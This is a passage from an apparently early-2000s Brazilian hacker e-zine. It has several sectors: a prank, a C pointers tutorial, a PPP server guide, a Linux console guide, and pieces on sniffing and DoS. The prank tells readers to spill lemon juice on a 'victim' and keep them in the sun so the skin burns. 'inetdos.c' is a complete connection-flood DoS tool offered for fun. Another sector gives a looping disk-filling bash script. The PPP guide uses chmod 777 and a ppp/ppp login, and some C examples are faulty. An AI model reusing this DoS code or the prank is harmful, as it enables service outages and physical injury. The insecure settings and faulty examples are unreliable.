deixar.. porem, como sou mais velho do q ele, passei por cima :)
eu nao curto anarquia... so vou escrever atoa mesmo.. nem 'e bem
uma anarquia..foi  um acontecimento que aconteceu com o meu colega
e resolvi escrever sobre o mesmo. chega de falar asneiras... e vamo
logo comecar!!

primeiro, escolha uma vitima (por exemplo: seu irmao mais novo) :)
em seguida, prepare um limonada.. sabe como ne? nao? tudo bem..
eu explico.. 

---------------------
Preparando a limonada
---------------------

Ingredientes:
   * 2 limoes (ou mais)
   * Acucar
   * Agua

Prerapando:
   - Pegue os limoes, corte eles no meio.. logo voce tem que ir
     espreme-los em um recipiente adequado (um copo grande, por  
     exemplo)...
   - Apos espremer todos os limoes, coloque agua no recipiente.
     Nao coloque muito agua nao..depende de quantos limoes voce
     colocou.
   - Por fim, coloque um pouco de acucar..so para a limonada nao
     ficar azeda..(ohh..)

Pronto!!!

-----------------------
E agora a melhor parte!
-----------------------

   Voce pega a limonada, e vai andando tranquilamente.. aih chegue
perto da vitima e derrame nela um pouco. Como?? Ah kra.. finge que
o copo escorregou..seila..inventa aih!! isso eh mais facil do que
bater punheta!! =) Depois, faca uma engenharia social! Como assim?
Logo apos voce ter derramado limonada na vitima e de ter pedido 
desculpas, leve ela para o sol!! Tem que ser didia!! Fique no sol
um tempinho com a vitima.. e aih o lugar molhado pela limonada vai
comecar a ficar manchado!! hhaha..tah queimando??? sim! esta queimando!
vai ficar umas manchas muito feia na vitima ... obs: nao faca isso em
casa! ;) e nem com seu irmao!! faca isso com um fdp q vc odeia muito!

bom.. eh soh isso mesmo!! e alerto..isso eh verdade mesmo!! pois o
limao tem substancias quimicas (ou seila oq) muito perigosas!! um
colega meu foi vitima disso.. mas ele foi o culpado eheh.. ele 
tomou limonada e derramou sobre a barriga e depois foi lavar o 
carro do pai dele.. pow.. ficou muito feio.. eu recomendo nem
experimentar isso com ninguem.. pois eh muita sacangem mesmo!!!

falow! =)

                                                  ramati
                                                  nohavemail@ramati.com
.:x|-------------------------------------------------------------------|x:.










SETOR [09]
==[ Ponteiros em C ]==
==[ por Gotoxy     ]==

   A linguagem C, como nos sabemos, nao eh nada facil de se aprender.
E quando alguem esta aprendendo a mecher com ponteiros e nao entende o
q eh e nem como funciona, desistem.. Quero deixar bem claro para esses
que nao entendem uma coisa e jah desistem, a fucar e sair em busca de 
informacoes sobre o mesmo. Aqui vou tentar deixar bem claro as coisas.
Portanto, preste muita atencao e casa nao entenda, leia denovo!!!

------------------
O que eh ponteiro?
------------------

   Eh um tipo especial de variavel, que a utilizamos para apontarmos
para algum lugar do endereco da memoria. Bem, vou deixar as coisas 
mais claras no decorrer do texto...

----------------------
Declarando um ponteiro
----------------------

   Se declara um ponteiro do mesmo jeito que se declara uma variavel
normal, porem, tem um * (asterisco) antes do nome da varivel.

main(){ /* main() - Funcao principal. Eh a primeira a ser chamada */
int x;  /* declaramos uma variavel normal */
int *y; /* declaramos uma variavel ponteiro */ 
}

   Ah! Podemos declarar ponteiros de qualquer tipo, vejamos:

main(){
float *a;
void *b;
char *c;
...
}

// exemplo1.c
#include <stdio.h> 
main(){

  char letra;
  letra='G'; 

printf("letra = %c\n",letra);
printf("Endereco de `letra` = %x\n",&letra);
}

$ gcc -o exemplo1 exemplo1.c
$ ./exemplo1
letra = G
Endereco de `letra` = bffffa17
$

O programa acima declara uma variavel normal, cujo nome eh 'letra'.
Reservamos nessa mesma variavel, a letra G. Em seguida, imprimimos
o endereco da memoria da variavel 'letra'.

Agora, vejamos outro exemplo:

// exemplo2.c
#include <stdio.h>
main(){

  char letra, letra2;

letra='G';
letra2=letra;

printf("letra = %c\n",letra);
printf("Endereco de 'letra' na memoria: %x\n",&letra);
printf("letra2 = %c\n",letra2);
printf("Endereco de 'letra2' na memoria: %x\n",&letra2);
}

$ gcc -o exemplo2 -o exemplo2.c
$ ./exemplo2
letra = G
Endereco de 'letra' na memoria: bffffa17
letra2 = G
Endereco de 'letra2' na memoria: bffffa16
$

Reparem o endereco de 'letra' e 'letra2'. O endereco na memoria
de cada um eh diferente. Aih voce pergunta: "E se eu quiser 
apontar endereco da variavel 'letra2' para o endereco da variavel
'letra' ???" - Eu respondo, usando os ponteiros!! Abaixo vamos
ver como:

// exemplo3.c
main()
{
  char letra;
  char *letra2; /* Declara-se um ponteiro. */

letra = 'G';
letra2 = &letra;

printf("letra = %c\n",letra);
printf("Endereco de letra = %x\n",&letra);
printf("letra2 = %c\n",*letra2);
printf("letra2 esta apontando para %x\n", letra2);
}

$ gcc -o exemplo3 exemplo3.c
$ ./exemplo3
letra = G
Endereco de letra = bffffa17
letra2 = G
letra2 esta apontando para bffffa17
$

Agora a letra2 aponta para o mesmo endereco da variavel letra. A
linha "letra2 = &letra;" eh a responsavel por fazer isso. Pois
eh nela que indicamos para a variavel letra2 indicar para a variavel
letra. Voce tem que colocar o '&'! Nao pode se esquecer dele de modo
algum!! 

// exemplo4.c
main(){
        char x;
        char *y;
y = &x;

printf("Endereco de x: %x\n",x);
printf("Endereco de y: %x\n",*y);
}

$ gcc -o exemplo4 exemplo4.c
$ ./exemplo4
Endereco de x: 8
Endereco de y: 8
$

Aih voce pergunta: "E como eu faco para saber os enderecos verdadeiros
das variaveis?" - Bom, antes de responder sua pergunta, espere eu
deixar umas coisas bem claras..
 
Quando usamos ponteiros, algumas coisas mudam. Observe as duas linhas
abaixo, do exemplo3.c:
 
printf("letra2 = %c\n",*letra2);
printf("letra2 esta apontando para %x\n", letra2);

Observe que nao foi necessario utilizar o & para indicamos o endereco
da variavel letra2, a qual ela jah eh uma variavel endereco e para
acessarmos o valor que esta armazenado nesse endereco, usamos o * 
(asterisco).

Ps: letra2 esta apontando para um endereco e toda vez q acessarmos 
letra2, estaremos acessando o endereco que ela esta apontando.

Resumindo: para vermos o endereco real da variavel, vamos usar o
& e toda vez que quizermos acessar o valor do endereco de alguma
variavel, vamos usar o * (asterisco). 

// exemplo5.c
#include <stdio.h>
int main(){
  char letra, *letra2;

  letra='G';
  letra2=&letra;

printf("letra = %c\n",letra);
printf("Endereco de letra = %x\n",&letra);
printf("Endereco de letra2 = %x\n",letra2);
printf("Endereco real de letra2: %x\n",&letra2);
}

$ gcc exemplo5.c -o exemplo5
$ ./exemplo5
letra = G
Endereco de letra = bffffa17
Endereco de letra2 = bffffa17
Endereco real de letra2: bffffa10
$

Eh recomendavel voce ler esse texto umas tres vezes e caso ainda 
voce tem duvidas sobre o assunto, leia denovo!:) Leie quandos
vezes puder, ateh entender... ponteiros nao eh nenhum bicho de
sete cabecas, eh de 8!:) Mentira! Com o estudo e com a pratica
voce vai dominar essa 'tecnica' :)

                                                  Gotoxy
                                                  gotoxy@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [10]
==[ Criando um servidor ppp no Linux ]==
==[ por F-22                         ]==

Neste texto eu descreverei como configurar seu linux para que aceite
conexoes ppp, isto eh muito util quando por exemplo voce esta na casa de
um amigo e quer conectar no seu linux e puxar um arquivo da sua maquina. O
funcionamento eh igual de um provedor, e o cliente pode ser linux quanto o
windows.

Vamos precisar de um programa chamado Mgetty, ele eh responsavel por
aceitar as chamadas para que a conexao seja estabelecida.

Abaixo as url onde se encontra o mgetty para download:
ftp://alpha.greenie.net/pub/mgetty/source/1.1/mgetty1.1.25-Feb01.tar.gz

Renomeie o policy.h-dist para policy.h
Depois visualize o policy.h com um editor de texto e altera as 
configuracao de acordo com suas preferencias.

Apos instalado, digite no terminal:

stty crtscts  < /dev/ttyS1

Este comando faz com que o device do modem fique com o controle de 
fluxo em modo hardware.

depois,

vi /etc/gettydefs

e adicione a linha:

F38400# B38400 CS8 CRTSCTS # B38400 SANE -ISTRIP HUPCL CRTSCTS #@S
login: #F38400

Obs.: mude o numero 38400 para a velocidade de seu modem

Este arquivo eh responsavel pela configuracao das tty.

Agora,

vi /etc/inittab
e adicione a linha:

m1:12345:respawn:mgetty ttyS1 38400

Colocando esta linha no inittab faz com que o comando fique sempre em
execucao espereando as chamadas pela linha telefonica. Por exemplo toda
vez que voce iniciar o linux ele ja estara escutando as chamadas. Se
alguem tentar ligar para a linha telefonica em que o servidores ppp esta
ele atende a chamada. E se voce alem de usa o ppp-in (servidor) e for usar
o ppp-out (cliente) vc tem q comentar esta linha pois quando for usar
tentar conectar vai ter problemas.

Depois digite no console:

init q

Com isto o mgetty eh ligado.

Obs.: mude o numero 38400 para a velocidade de seu modem e no ttyS1 voce
coloca a porta do seu modem ou ate mesmo se houver o link da porta para o
/dev/modem ate mesmo colocar a plavra modem.
Agora eh necessario criar um script para autenticar a conexao:

cd /usr/local/sbin
vi ppplogin

Em seguida adicione as linhas no ppplogin:

#!/bin/sh
# ppplogin - Script para iniciar o pppd no Login

mesg n

stty -echo

exec /usr/sbin/pppd -detach silent modem crtscts

# alternativamente pode se usar uma linha assim:

#exec /usr/sbin/pppd -detach bsdcomp 15,15 silent crtscts modem passive
192.168.0.1:192.168.0.2

Logo apos, altere a permisao do ppplogin com o comando:
chmod 777 ppplogin

Agora vamos criar os login dos usuario que terao acesso a maquina via
acesso discado (ppp).

Adiciona a seguinte linha no /etc/passwd:

ppp:$1$8EPubG8r$5h./JFQjGOrMwjB6LRAGw.:1002:100:,,,:/tmp:/usr/sbin/ppplogin

O login para conexao vai ser "ppp" e a senha "ppp". Pode observar que no
lugar da shell do usuario foi coloca o script /usr/sbin/ppplogin e no home
do usuario o diretorio /tmp

Agora eh so configurar o cliente, como se fosse um proprio provedor de
internet, colocando o login e a senha como "ppp" e o numero do telefone no
qual vai conectar.

Outro fato interessante que eu testei no windows, foi no acesso a rede
dial up naquela opcao de EXIBIR TERMINAL POS DISCAGEM, ou seja apos voce
conectar no seu servidor ppp ele ira exibir o mesmo que a tela de login do
console no linux, dai voce digita la um conta que tenha shell /bin/bash e
por aquele terminal pos discagem voce consegue mecher no seu linux.

Mas pelo outro jeito do script, eh igual internet voce conectiva, fica com
um ip proprio eh pode usar os servidores que estao rodando no seu servidor
ppp. Eu testei isto da casa de um amigo e puxei o kernel de 23 mega a
6kb/s, isto eh uma velocidade otima em relacao a conexoes via modem.

                                                  F-22
                                                  f22network@uol.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [11]
==[ Sistema de Arquivos ]==
==[ por f0ul            ]==

E dae manos,.. manas =)  Eu to aki pra falar sobre o sistema de arquivos
do Linux. Se a materia fico pequeninha e ruizinha foi pelo simples fato
de "falta de tempo" e "e por que fiz em dois minutus"... mas ta ae,..issu
q importa, blz?! Entao vamos la...

O sistema de arquivos do Linux (File System)  baseado em uma estrutura de
arvores de i-nodos (sei l por que esse nome)...em ingles isso quer dizer
tipo nois-i. Bom, continuando... essas arvores de i-nodos sao dispostos em
blocos que variam de tamanho entre 1 e 4 Kb. Cada i-nodo possui o tamanho
mximo de 1 bloco. Cada i-nodo pode apontar para a localizacao (fsica/
cilindro, Setor/trilha) de outro i-nodo ou do bloco inicial de um arquivo.

Cada arquivo ocupa obrigadoriamente no mnimo 1 bloco e nao existe um
limite mximo de blocos por arquivos. Os arquivos de pequeno tamanho ainda
podem estar dispostos no interior dos i-nodos. O file system do Linux nos
da vrias vantagens como velocidade de acesso, segurana, flexibilidade,
criacao de links. Os links sao apontamentos de um i-nodo para um certo
arquivo, que tb  apontado por outro i-nodo para o mesmo arquivo. Podem
ser HardLinks e SoftLinks.

Um Softlink que aponta para um arquivo y, quando apagado, exclui o arquivo
y. J quando arquivo y  apagado, o Link nao  modificado e passa a
apontar para um lugar desconhecido.

Um HardLink, quando o excluimo, o arquivo apontado tb  excluido.

Ah! Com execao, temos os Super Blocos, que tem a funcao de armazenamento,
por exemplo, uma imagem do lixo(Linux Loader) a detectar automaticamente
sistemas de Raid.

Sua localizaao  nos primeiros setores do 1 HD. Sua presena em outros
locais dos File System indica erros, e caso vc tiver trabalhando com dados
e faltar luz, o arquivo possivelmente vai ficar corrompido, e uma dica na
qual eu j ganhei uma graninha... tipo assim um cara te chama as 3 da
madrugada por que o S.O na ergue mais. Pra resolver isso..  s dar o
comando "fsck - a" (sem aspas) e sorrir.. haha  :-))

oo0 Bonus 0oo
[ Sistema de Kernel Modular ]...

PS: Tipo assim, tem que saber o mnimo de programacao c++ para usar Linux, 
voce ate'...vai ate' um ponto mas depois stop, e nao vai mais pra frente.

O Kernel do Linux eh modular, ou seja, cada funcinalidade do kernel eh 
dividida em modulos especificos, cada um com uma funao determinada. As
vantagens desse sistema dizem respeito a manutencao facilitada de atualizacao
e reescrita derecursos, extensibilidade, reutilizaao do codigo, segurana
e tal. Cada modulo  completo utilizando-se um compilador de c, tipo "eu" 
recomendo o (gcc) e uma biblioteca de funcoes(libc). O modulo compilado
gera um arquivo com extensao ".o"

Esses modulos sao colocados a baixo do diretrio  /lib/modules/linux/...
Os fontes do Kernel do Linux ficam colocadas no diretrio   /usr/src/linux

Eh issu ae!!
Ateh a proxima kras...
                                                          f0ul
                                                          f0ul@mail.com
.:x|-------------------------------------------------------------------|x:.










SETOR [13]
==[ DoS in InetD ]==
==[ por ramati   ]==

  Olha eu aih denovo! =)
Eu estava aqui na makina do gotoxy quanto me deparei com uma 'falha' no
inetd. Nao sei se eh bem uma falha, ou se eh uma forma que o inetd
encontrou para proteger uma makina conta ataques como brute force...
 
Foi assim, abri o servico de telnet(23) e depois eu tentei conectar por
telnet no localhost(aki).Aih tava dando erro, e nem tava conseguindo.. aih
chamei o gotoxy, aih o babaca digitou: killall -HUP inetd.. aih funfou..
depois disso tava testando um programa que conectava na porta do telnet
varias vezes.. alguns minutos o programa funciona beleza, mas depois 
de um determinado tempo estava dando 'conexao recusada'. Novamente
chamei o gotoxy, ele constatou que a porta do telnet tava e nao tava
aberta. Explicando: no inetd.conf o daemon telnet tava aberto, soh que
quando digitavamos telnet localhost aparecia conexao recusada. Ficamos
vendo o que podia ser. Depois de alguns minutos,a conexao se estabeleu.
Aih desconfiamos.. akele programa havia causado um DoS no inetd, pois
ele estabelecia varias conexoes em uma determinada porta. Aih nos fomos
testar...

Abrimos o /etc/inetd.conf e trocamos a linha

telnet        stream  tcp     nowait  root    /usr/sbin/tcpd  in.telnetd

pela linha

telnet        stream  tcp     nowait  root    /tmp/teste  in.telnetd

Ao invez de executarmos o tcpd, nos iamos executar o arkivo /tmp/teste.
O teste era um simples programinha que o gotoxy fez soh para a conexao
nao ser estabelecida:

// teste.c
#include <stdio.h>
#define printf g

int main(){
g("\nOla..tchau!\n\n");
}

# gcc -o teste teste.c

Apos isso, ficamos digitando telnet localhost:

# telnet localhost
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

Ola..tchau!

Connection closed by foreign host.

Fizemos isso umas 30 vezes (tem que ficar digitando bem rapido!).
Estavamos na shell bash e assim apenas apertavamos a seta pra cima
e ENTER um tanto de vez...

Logo apos um certo tempo:
# telnet localhost
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused
#

Conexao recusada!! 
Comprovamos que o inetd fecha uma determinada porta se esta for 
aberta varias vezes seguidas. Utilize essa informacao como quiser.

Abaixo segue um programa que o gotoxy fez soh para agilizar o nosso
trabalho:

----------------------------- inetdos.c -----------------------------

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

main(int argc, char *argv[]){
   int s0cket;
   struct sockaddr_in vitima;
   struct hostent *he;

if(argc < 3){
printf("\nInetd DoS - by Gotoxy (gotoxy@linuxbr.com.br)\n");
printf("Uso: %s host porta\n\n",argv[0]);
exit(0);
}
he = gethostbyname(argv[1]);
if(he == NULL)
{
   fprintf(stdout,"\n");
   herror("gethostbyname");
   fprintf(stdout,"\n");
   exit(0);
}
vitima.sin_family = he->h_addrtype;
vitima.sin_port = htons(atoi(argv[2]));
vitima.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(vitima.sin_zero), 8);
do {
if((s0cket=socket(AF_INET,SOCK_STREAM,0))==-1){
    printf("\nErro no socket!!\n");
    exit(0);
}
if((connect(s0cket,(struct sockaddr *) &vitima, sizeof(vitima)))==-1){
    printf("\nConexao recusada!!!:)\n\n");
    close(s0cket);
    exit(0);
}
close(s0cket);
}while(1);
}

Eh soh compilar!! Abaixo segue uma simulacao:

# gcc inetdos.c -o inetdos
# ./inetdos
Inetd DoS - by Gotoxy (gotoxy@linuxbr.com.br)
Uso: ./inetdos host porta
# ./inetdos localhost 23

Conexao recusada!!!:)

Caso aparece 'Conexao recusada!!!:)', pode desconfiar!! O servico foi
derrubado! Portanto, divirta-se irmao e tire um bom proveito do mesmo!
Falow! Gotoxy thanks!!

                                                  ramati
                                                  nohavemail@ramati.com
.:x|-------------------------------------------------------------------|x:.










SETOR [13]
==[ Linux the otherside ]==
==[ por sort            ]==

Fala gente beleza?
Espero com esse meu texto aki na Zinesbr vc possa aprender o necessario
Apartir da proxima edicao da zinesbr comecarei com o Curso para voces
aprenderem a codar a linguagem perl... Meu nick eh sort

Gotoxy valeu por ceder um espaco aki! bem eh soh, vamos aprender! 
falow!!!

############################################################################

  SE VOCE NUNCA MEXEU COM LINUX NAO LEIA POR FAVOR POIS UM NEWBIE QUE
NUNCA MEXEU COM LINUX DEVE APRENDER A USAR A INTERFACE E NAO O
CONSOLE.. SE VC QUE NUNCA MEXEU COM LINUX LER ISSO VC PODE FICAR COM A
CABECA CHEIA! ENTAO NAO LEIA!

Fala pessoal, tudo bem? Aqui quem fala eh o Sort e nesse texto, pelo mais
ridiculo que seja ensinarei a alguns de voces a abandonarem o X e seguirem
o caminho vendo o outro lado da coisa.... Nesse texto irei expressar meus
pensamentos sobre o X (Interface Grafica) e ensinarei voces newbies a
mexerem com o Linux e saberem o que estao fazendo realmente.
Elites e kiddies nao escrevo para voces, portanto fora.


                 #############################
                 #                           #
                 #   O outro lado do Linux   #
                 #                           #
                 #############################


1-> Introducao
2-> Usando varios programas ao mesmo tempo no console
3-> Conexao
4-> Browser (Navegador)
5-> E-MAIL
6-> ICQ
7-> IRC Client
8-> Visualizador de imagens
9-> Editores de textos
10-> MP3 Player
11-> Downloader
12-> Pensamentos



1->Introducao

Qual linuxer bem aplicado que nunca se amarrou no Console puro?
Bem..... O console ele eh algo muito bom, porque voce sabe o tempo
todo o que estah fazendo, agora no X nao.... no X vc clica e acabou
Um exemplo foi o tar descompact.... A pessoa clica no pacote e instala
mas o Linuxer que usa X basicamente com aquela situacao nao usa o comando
portanto ele acaba o esquecendo... e isso tem prejuizo onde??? Basicamente
quando voce aprende a ownar(rootear algo) vc nao vai ter X na shell nao
cara.... eh soh comando.... entao eu to lhe aconselhando a pelo menos
comecar a aprender a se virar aih no Localhost.... Depois que voce
aprender a mexer no console, eu acredito que vai desinstalar o X, foi o
que eu fiz aqui no meu computador.... Bem vamos aprender agora.



2-> Usando varios programas ao mesmo tempo no console

Lah vai uma pequena dica para voce que acha que o console soh tem uma tela
e soh pode executar um aplicativo simultanealmente.... voce estah
totalmente errado.... existem 6 telas (tty) que podem ser definidas como
voce quiser... para navegar pelas telas faca isso:

Segure o ALT e aperte F1 -> Vc foi para a tty 1
Segure o ALT e aperte F2 -> Vc foi para a tty 2
Segure o AlT e aperte F3 -> Vc foi para a tty 3

E assim vai ateh acabar as tty para voltar eh soh fazer o esquema dito..



3-> Conexao

Bem gente, vou lhe ensinar a conectar sem usar aquela porra escrota que se
chama kppp que eh pateticamente ridiculo e o daemon fica caindo direto.

Eu aqui em casa uso o wvdial... Vou explicar como usar o wvdial agora
Local de download: www.linuxall.org e linuxfacil.hpg.com.br
Apos baixar o wvdial, se for .tar.gz digite:

bash# tar -xvzf wvdial.tar.gz

Depois entre no diretorio criado do wvdial, apos entrar digite esses 3
comandos para compilar o wvdial:

bash# ./configure
bash# make
bash# make install

Pronto wvdial compilado, agora vamos configurar o wvdial:

bash# wvdialconf /etc/wvdial.conf

O wvdialconf eh o configurador do wvdial e /etc/wvdial.conf eh a
localizacao do arquivo de configuracao do wvdial....

Bem apos digitar isso o wvdial reconhece seu modem e tal.Mas ainda
precisamos de outros ajustes, digite:

bash# pico /etc/wvdial.conf

vai ter lah assim +-:

; Phone = 
; Username = 
; Password = 

Onde:
Phone voce deve colocar o numero de conexao do seu provedor.
Username: Em Username voce coloca o seu login.
Password: No Password, coloque a senha do seu login.

Apos ter feito as modificacoes, o wvdial jah estarah configurado!
Voce precisa agora configurar o dns, para isso, edite o arquivo
/etc/resolv.conf e acrescente as linhas (caso nao tenha):

domain provedor.com.br
nameserver <ip do dns do seu provedor>
nameserver <outro ip do dns do seu provedor> # caso tenha outro

Um exemplo seria (do provedor IG):

domain ig.com.br
nameserver 200.202.193.66

Agora para se conectar, basta digitar
wvdial
e esperar a conexao se estabelecer.



4-> Browser (Navegador)

Bem, a parte fraca do console eh que os browsers nao exibem
imagem... mas mesmo assim dah p/ se virar...

bem vc pode usar o lynx... basta digitar:
bash# lynx www.site.com.br

O lynx jah vem instalado no linux... Apos abri-lo vc ve alguns comandos:

digite a tecla G e ponha o endereco de outro site
Digite Q para sair

Use seta p/ cima, seta p/ baixo para navegar pelos links
Apos passar por cima de um arquivo que quer pegar pressione a tecla D
(Download) para pegar o arquivo e assim vai.....
Bem o lynx eh meio fraquinho......Mas apesar disso eu adoro ele e soh uso
ele..... vc tambem pode tentar usar o links, detona esse browser!
Vc pode obter ele em linuxall.org na parte de aplicativos
Bem lah ensina a instalar ele.... mas vou ensinar tambem para todo caso...
Apos baixar o lynx faca esses comandos

bash# tar -xvzf links-pacote-do-lynx.tar.gz
bash# cd <Dir Do links criado>
bash# ./configure
bash# make
bash# make install

Pronto... quer testar?

bash# links http://zinesbr.hpg.com.br

Legal neh ? =)


5-> E-MAIL

Bem.... eh uma pena que eu nao tenha conseguido concluir o Sorti Mail para
lanca-lo aqui.... mas futuramente eu lanco em outro lugar.... vou ensinar
vcs a verem e-mail pelo console...

Bem gente.... eu nao preciso dessa frescura toda que vou ensinar para
voces pois eu tenho conta no yahoo e o yahoo aceita numa boa o browser
links/lynx apesar de muitos e-mails nao o aceitarem ( Valeu pelo conselho
Nash )

Bem quer criar conta no yahoo?

lah vai

bash# lynx mail.yahoo.com.br

Clique em cadastrar e preencha os dados certos..... depois eh soh usar
avontade.....

Hmmm vc tem e-mail em provedor? vou explicar outro esquema basico...
Let's go!

bash# adduser Seu_User_No_Provedor

Bem crie um usuario no seu sistema com o login do provedor a senha nao
precisa ser igual.... Logue com o login do seu provedor em alguma tty e
digite

bash# fetchmail serverpop.provedor.com.br
vai aparecer algo relacionado a digite a senha:
Vc digita a senha e dexa ele pegar as mensagens .... apos pegar as
mensagens execute o pine e as veja =)

Rulez!


6-> ICQ

Bem.... se voce acha que eh o fim do mundo e estah imaginando que o icq do
linux usado no console eh ridiculo.... se enganou legal =).... o center
icq ownaaaaaaa!!!! Eh mto bom..... Perfeito.... Thanks for you konst!

Pegue o center icq em: konst.org.ua

Apos pegar, digite:

bash# tar -xvzf centericq.tar.gz
bash# cd centericq
bash# ./configure
bash# make
bash# make install

Agora para executar:

bash# centericq

Vai vir um formulario perguntando seus dados eh soh responder e usar
tranquilamente, tenha um bom papo =)


7-> IRC Client

Nem vo comentar.... mais BitchX eh muito bom! EPIC tb eh mais vou ensinar
a instalar e a mexer com o BitchX

Download:

www.bitchx.org

Apos o download:

bash# tar -xvzf BitchX.tar.gz
bash# cd BitchX
bash# ./configure
bash# make
bash# make install

bash# BitchX nick servidor

Onde: nick eh o seu nick
servidor eh o servidor que voce deseja se conectar

por exemplo:

# bash# BitchX sort irc.brasnet.org

Pronto... conectou e logou a rede....
Para criar uma nova janela, o comando eh: /window new hide
Para voce deixar as outras janelas como a janela um:
/window double on
para se pular de uma janela para outra: ALT+1, ALT+2, ...
para voce sair de algum canal: /part
para voce conversar com alguem no pvt: /query nickdapessoa
para sair do pvt: /q
para sair do BitchX: /quit
...



8-> Visualizador de imagens

Digite seejpeg imagem.jpg 

Nao tem o seejpeg ???

bash# lynx rpmfind.net
digite seejpeg e pegue e instale em rpm assim:

rpm -i --nodeps seejpeg.rpm

pronto agora pode ver a imagem....

Ihhh.... travou tudo?!?!?!
Pegue as libs necessarias do monitor e tal....

se chama SVGALIB, procure-as no rpmfind.net e as instale e depois execute
com sucesso.


9-> Editores de textos

Bem para editar arquivos voce pode usar uma serie de editores: pico, joe,
vi, jed, entre outros. Eu uso o pico, jah meu amigo kerneld usa o joe....
Bem cada um tem seu gosto... 

Digite aew o nome dos editores no console e de enter e veja o q vc prefere
e o utilize =)
bash# pico
bash# joe
bash# vi
e assim vai indo.... :)



10-> MP3 Player

Bem quer ouvir mp3 no console?
eh mto simples, apenas digite
bash# mpg123 /home/mp3/mp3.mp3

Subsitua o caminho dado pela localizacao de sua mp3 que vc ker ouvir..

Opa!

bash: mpg123: command not found

Vamos pegar o mpg123...

bash# lynx rpmfind.net
Digite mpg123 e pegue-o qnd aparecer...
apos pega-lo digite:

rpm -i --nodeps mpg123.rpm

Pronto! Agora voce pode ouvir suas musicas avontade e ficar curtindo 
um bom som no Linux =)


11-> Downloader

Bem voce quer pegar algo grande? mas nao quer pegar isso tudo em um dia
soh? quer pega-lo como o getright do Rwindows?
eh facil.... use o wget... eh mto bom!

digite assim

bash# wget -c http://www.site.com.br/aquivo.tar.gz

eh assim que funciona substitua a localizacao do site acima para a
localizacao do grande arquivo a ser pego....

No outro dia quando quiser continuar o donwload digite o mesmo comando
que ele vai continuar de onde tinha parado!
Simples, facil e bom =)


12-> Pensamentos

Bem.... espero que voce tenha aprendido muito aqui, apesar do trabalho que
dah o console.... acredite em mim garoto:
Isso irah ser muito util futuramente

Pessoal..... sigam seus proprios caminhos mas apenas seguindo a
etica... e nunca, mas nunca seja arrogante pois vc pode se ferrar muito..
Seja o mais humilde possivel, eu aprendi muito com essa licao de
humildade... pode parecer incrivel mas mudou a minha vida =)
Agora eh com vcs

Um abraco pra galera toda da unsekurity ( kerneld, nash, dimitri, module,
slack, finger, eSc2....)

Beijo p/ ( Marina, Tais, Joanna, Bruna, Alice....) Adoro todo mundo!

Eh soh isso por enquanto!
Um []!
                                                   Sort
                                                   sort005@yahoo.com.br
.:x|-------------------------------------------------------------------|x:.










SETOR [14]
==[ Sniffing e DoS ]==
==[ por |wizard|   ]==

:::::::::::::::::::::::::::::::: SNIFFING ::::::::::::::::::::::::::::::::

     Sniffing eh uma tecnica muito mau difundida, em varios sites na
internet vc encontra material sobre esta, mas quase todos sao pobres em
informacao valida, os textos geralmente sao ultrapassados e apresentam
fatos irreais. Bom, mas aki vc vera um pouco mais sobre esta tecnica... O
obejtivo do sniffing eh simplesmente capturar "TODO" o trafego em uma
rede. Suponhamos que as maquina A, B, C e D estao em rede, quando a 
maquina A estabelece conexao com a maquina D, tudo o que a maquina A envia
para a maquina D, na realidade nao vai apenas para a maquina D, a maquina
envia dados para toda a rede, no caso para as maquinas B,C e D, mas quando
a informacao chega nas maquinas B e C, os tcps verificam o destino no 
cabecalho do pacote(como vemos no setor [15]) e chegam a conclusao que a
informacao nao  destinada a elas entao fazem com que as maquinas B e C
rejeitem a informacao. Quando a maquina D verifica o cabecalho e ve que
ela eh a maquina de destino, ela aceita os pacotes!
     O sniffer faz com que a placa de rede seja configurada para o modo
promisc(promiscuo - aceita tudo de todos) e eh nessa hora que o software
de sniffer entra em acao, pois ele grava tudo o que recebe no hd da
maquina. Isso causa um problema de falta de espaco, pois o trafego em uma
rede um pouco maior pode encher um HD em poucos minutos e talvez ateh em
questao de segundos, entao os crackers, apos analizarem varios pacotes, 
observaram que quando um usuario se loga em algum servidor e envia o seu
login e sua rede, dentro de um pacote, o login e a senha estao sempre
localizados entre os primeiros 200-300k do pacote, entao um sniffer (de
crack) geralmente filtra todos os pacotes, pegando sempre o conteudo dos
mesmos dentro dos primeiros 200-300k, e assim os crackers conseguem varios
logins e senha validas. 
     Eh importante lembrar q os sniffers nao foram inventados por crackers, 
e sim por empresas especializadas em seguranca/redes, existem varios tipos 
de sniffers comerciais como tambem ha sniffers escritos por hackers, visando 
o monitoramento de determinada rede.

::::::::::::::::::::::: DoS => Denial of Service :::::::::::::::::::::::

     Ataques do tipo DoS, sao caracterizados por recusa de servico, ou
seja, eh simplesmente derrubar o servidor. Existem varios tipos de ataques
DoS, e na maioria sao relativamente faceis de se fazer mas tambem eh facil
de se encontrar o culpado. Podemos dividir os ataques do tipo DoS em Locais
e Remotos. Os ataques locais, sao akeles em que o atacante esta logado no
servidor alvo, por exemplo se eu quero atacar a universidade onde eu estudo,
eu logo na rede e depois disso realizo o ataque e estes sao, sem duvida, os 
mais simples de se fazer. Ja os remotos, sao akeles em que o atacante nao
se loga na rede, ele pode enviar varios "pings" para determinado host e fazer 
com que o mesmo nao consiga processar a informacao e assim "caia", ou seja
o usuario nao precisa ter uma conta no servidor, para realizar o ataque
remoto.
     Alguns exemplo praticos: Quando falamos de DoS, ja podemos relacionar
QUASE todos os ataques desta natureza a loops infinitos, por exemplo, o
programa a seguir pode fazer com que o servidor X caia em questao de
segundos:

# Obs.: este eh um exemplo basico de um ataque DoS local para *NIX
#!/bin/bash 
while [ 1 = 1 ];
do echo "Tutorial sobre seguranca" >> /tmp/.tutorial done;

Este programa, quando executado, escreve a frase Tutorial sobre seguraca
ateh q o numero 1 seja igual a ele mesmo, ou seja, eternamente... Isso
causa grande utilizacao do processador, quando a utilizacao do processador
chegar a 100%(poucos minutos) o sistema comecara a ficar lento e pouco
tempo depois o servidor ira cair.

                                                  |wizard|
                                                  wizard.suporte.net
                                                  wizard@linuxbr.com.br
.:x|-------------------------------------------------------------------|x:.











SETOR [15]
==[ Protocolo Tcp/Ip ]==
==[ por |wizard|     ]==

Tcp/Ip  um protocolo de comunicacao, e por ser o melhor atualmente, ele
